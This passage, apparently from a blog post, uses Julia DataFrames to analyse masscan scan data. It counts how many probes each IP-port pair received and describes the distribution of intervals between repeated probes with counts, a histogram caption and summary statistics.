class="n"&gt;count&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:port&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nrow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;countmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13038&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;750&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64774182&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice how most of ip-port tuples were scanned once.&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; didn’t send \(N\) probes to each port &lt;strong&gt;or&lt;/strong&gt; it did it but the some probes never were answered &lt;em&gt;(why?, who knows)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This could explain why some ports were scanned twice while others only one.&lt;/p&gt;
&lt;h2 id="what-is-the-distribution-of-intervals-between-probes-for-each-port"&gt;What is the distribution of intervals between probes for each port?&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClNhbml0eSBjaGVjazogZnJvbSB0aGUgZGlzdHJpYnV0aW9uIG9mIHByb2JlcyBwZXIgcG9ydCB3ZSBrbm93IHRoYXQgd2UKaGF2ZSAxMzAzOCBwb3J0cyB3aXRoIDIgcHJvYmVzIHRoYXQgd2lsbCBjb250cmlidXRlIHdpdGggMTMwMzggcm93cyB0bwp0aGUgZGlmZmVyZW5jZSBkYXRhZnJhbWU7Cgo3NTAgcG9ydHMgd2l0aCAzIHByb2JlcyB0aGF0IHdpbGwgY29udHJpYnV0ZQp3aXRoIDc1MCAqIDIgcm93cyB0byB0aGUgcmVzdWx0OyAyNyBwb3J0cyB3aXRoIDQgcHJvYmVzIGNvbnRyaWJ1dGluZwp3aXRoIDI3ICogMyByb3dzIGFuZCBmaW5hbGx5IDEgcG9ydCB3aXRoIDUgcHJvYmVzIGNvbnRyaWJ1dGluZyB3aXRoIDUgKgo0IHJvd3MuCgpUaGUgZXhwZWN0ZWQgdG90YWwgaXMgMTQ2MjMgdGhhdCBpdCBpcyBleGFjdGx5IHRoZSByb3cgY291bnQKb2YgYGRmMmAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClNhbml0eSBjaGVjazogZnJvbSB0aGUgZGlzdHJpYnV0aW9uIG9mIHByb2JlcyBwZXIgcG9ydCB3ZSBrbm93IHRoYXQgd2UKaGF2ZSAxMzAzOCBwb3J0cyB3aXRoIDIgcHJvYmVzIHRoYXQgd2lsbCBjb250cmlidXRlIHdpdGggMTMwMzggcm93cyB0bwp0aGUgZGlmZmVyZW5jZSBkYXRhZnJhbWU7Cgo3NTAgcG9ydHMgd2l0aCAzIHByb2JlcyB0aGF0IHdpbGwgY29udHJpYnV0ZQp3aXRoIDc1MCAqIDIgcm93cyB0byB0aGUgcmVzdWx0OyAyNyBwb3J0cyB3aXRoIDQgcHJvYmVzIGNvbnRyaWJ1dGluZwp3aXRoIDI3ICogMyByb3dzIGFuZCBmaW5hbGx5IDEgcG9ydCB3aXRoIDUgcHJvYmVzIGNvbnRyaWJ1dGluZyB3aXRoIDUgKgo0IHJvd3MuCgpUaGUgZXhwZWN0ZWQgdG90YWwgaXMgMTQ2MjMgdGhhdCBpdCBpcyBleGFjdGx5IHRoZSByb3cgY291bnQKb2YgYGRmMmAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Sanity check: from the distribution of probes per port we know that we have 13038 ports with 2 probes that will contribute with 13038 rows to the difference dataframe;
&lt;br /&gt;&lt;br /&gt;
750 ports with 3 probes that will contribute with 750 * 2 rows to the result; 27 ports with 4 probes contributing with 27 * 3 rows and finally 1 port with 5 probes contributing with 5 * 4 rows.
&lt;br /&gt;&lt;br /&gt;
The expected total is 14623 that it is exactly the row count of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:port&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="ss"&gt;:timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;∘&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;countmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Union&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Missing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2793&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;585&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2625&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;843&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;159&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;316&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1364&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1435&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;495&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;149&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;139&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1715&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;828&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Certainly a histogram is better for this case:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Histogram of intervals between probes to the same host-port in seconds.
&lt;br /&gt;&lt;br /&gt;
The median (5.0) and the mean (6.89) are labeled. The vertical axis is in logarithmic scale.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/network/internet_scan/time_interval_hist.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This was more spread than I expected. Most of the intervals are in the low range but there is non-negligible count for the 15 secs interval.&lt;/p&gt;
&lt;p&gt;A quick statistics for the intervals:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:mean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:std&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:median&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:q75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ss"&gt;:interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;×&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q25&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;q75&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Symbol&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;
&lt;span class="n"&gt;─────┼─────────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mf"&gt;6.8051&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;5.75237&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Or, statistic by statistic:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;6.805101552349039&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;5.0&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;5.752370354791699&lt;/span&gt;

